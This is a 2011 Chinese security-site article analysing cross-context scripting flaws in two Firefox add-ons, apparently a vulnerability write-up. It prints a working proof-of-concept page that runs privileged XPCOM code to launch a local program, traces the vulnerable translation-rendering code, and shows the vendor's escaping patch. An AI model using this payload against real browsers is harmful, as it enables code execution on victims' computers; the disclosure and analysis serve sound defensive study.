首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
关于firefox的2个插件的漏洞
来源:http://hi.baidu.com/hi_heige/blog 作者:superhei 发布时间:2011-06-23  

关于firefox的2个插件的漏洞

文/superhei 2011年06月22日

一、火狐魔镜

1.Exp: http://www.80vul.com/firefox/firefox-cn-nday.html

<!--
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("C:\\WINDOWS\\system32\\calc.exe");
var process =Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(file);
var args = ["-c", ""];
process.run(false, args, args.length);
/*
-->
<script>
document.write("<div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain', '<sc"+"ript src="+document.URL+"></scr"+"ipt>')\"><h3>DRAG ME!!</h3></div>");
</script>
<!--
*/
-->

2.分析

这里之分析下最直接的触发的地方的代码:

livemargins@mozillaonline.com\content\search.js 函数:_translateInitCallback():

        function _translateInitCallback(data, toLang) {
            var status = 'fail';
            if (data && data.responseStatus === 200) {
                var gtResult = {
                    entry: {
                        toLanguage: code2name[toLang] ? code2name[toLang] : toLang,
                        text: data.responseData.translatedText   //取${entry.text} = data.responseData.translatedText
                    }
                };
                
                var template = unescape($('#googletrans-template').html());
                var gtContent = $('<div>').attr('id', 'googletrans-content');
                gtContent.html(TrimPath.parseTemplate(template).process(gtResult));  //通过.html()操作googletrans-template 在 \content\search.html里显示
                for (var langCode in code2name) {
                    if (langCode !== fromLang) {
                        $('#googletrans-tlcode', gtContent).
                            addOption(langCode, "翻译为 " + code2name[langCode]);                        
                    }
                }

        ..............

在livemargins@mozillaonline.com\content\search.html里

    <div id="googletrans-template" style="display:none;">
        <div class="googletrans-item">
            <span>${entry.toLanguage}</span> ${entry.text} //显示${entry.text}
        </div>
        <select id="googletrans-tlcode">
        </select>
        <span style="color: grey;">或者</span>
            <a href="javascript:void(0);" class="googletrans-button" target="_blank">翻译全文</a>
    </div>
    
我们继续跟一下data.responseData.translatedText。 grep 一下_translateInitCallback()的调用:

        function _detectCallback() {
            var toLang = 'en';
            if (fromLang && fromLang.length > 0) {
                if (fromLang !== 'zh-CN') {
                    toLang = 'zh-CN';
                }
                _translate(toLang, _translateInitCallback); //这里 _translate callback给了_translateInitCallback()
            } else {
                self.endSearch(searchString);
            }
        }

我们看一下_translate()的代码:

        function _translate(toLang, callback) {
            jQuery.ajax({
                url: 'http://ajax.googleapis.com/ajax/services/language/translate',
                method: 'POST',
                dataType: 'json',
                timeout: 5000,
                data: {
                    v: "1.0",
                    q: searchString,
                    langpair: "|" + toLang,
                    key: 'ABQIAAAASCaOeo3ta_dogUbwquyfCxSpqFEWLxmF2C8ASAeMYkWcm8RXShQKtE5gb4GQJT6JrnWVPp5dE67yyw'
                },
                beforeSend: function(request) {
                    request.setRequestHeader('Referer', 'http://g-fox.cn/');
                },
                success: function(data){
                    callback(data, toLang);
                },
                error: function(request, status, errorThrown) {
                    callback(null, toLang);
                }
            });
        }

data.responseData来源于jQuery.ajax:

http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&langpair=|zh-CN&key=ABQIAAAASCaOeo3ta_dogUbwquyfCxSpqFEWLxmF2C8ASAeMYkWcm8RXShQKtE5gb4GQJT6JrnWVPp5dE67yyw

官方的补丁是多处都加了函数stripXss()进行转义[至于有没有漏网之鱼那就不清楚了:)]:

    stripXss: function(s) {
        if (!s) {
            return s;
        }
        
        return $('<p>').text(s).html();
    },


二、firebug

http://www.80vul.com/firefox/Firebug%20Firefox%20Extension%20Cross%20Context%20Scripting%20Vulnerability.htm

后话:

1、其实这些东西都是去年我在blog上发起的《[技术挑战]How To Exploit Location Cross-Domain Scripting》里的Firefox的部分演示。

2、firefox插件里的“Cross Context Scripting”的问题考古:

2006 《Cross Context Scripting with Sage
2009 《Cross Context Scripting with Firefox
         《Exploiting Cross Context Scripting Vulnerabilities in Firefox


由此可以看出firefox的一个插件的xss足够root你的pc的而且是跨平台的:)而且playload的实现有现存的API[如实现一个download-exec的playload只要几行代码就可以了],其实这个应该算是firefox的对插件系统的设计问题,chrome的插件系统就科学很多[以后的的blog可能会给出具体的列子说明:)] 或许firefox以后的版本有所改进...

3、对于firefox插件代码审计是一个值得去挖掘一下的。

4、小心插件里的第三方内容。在《WEB2.0下的渗透测试》 我就有提到的,对于firefox的插件系统来说,如果引用的第三方内容如[Javascript]被人恶意控制的化,那效果是显而易见的。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·极速安康学校网站程序 v3.1.1 co
·5UCMS最新注入漏洞
·ecshop最新版 (v272) 本地包含拿
·rgboard <=4.2.0 任意文件下载漏
·DeDecms xss 通杀0day 附getshel
·dedecms 5.6 RSS订阅页面注入漏
·网奇CWMS企业网站管理系统3.0编
·Modoer 1.2.5 注入0day
·易通企业网站最新0DAY漏洞
·vBseo(百度推广)远程执行漏洞
·风讯 4.0之前所有版本通杀拿SHEL
·InnovaStudio WYSIWYG Editor 3.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved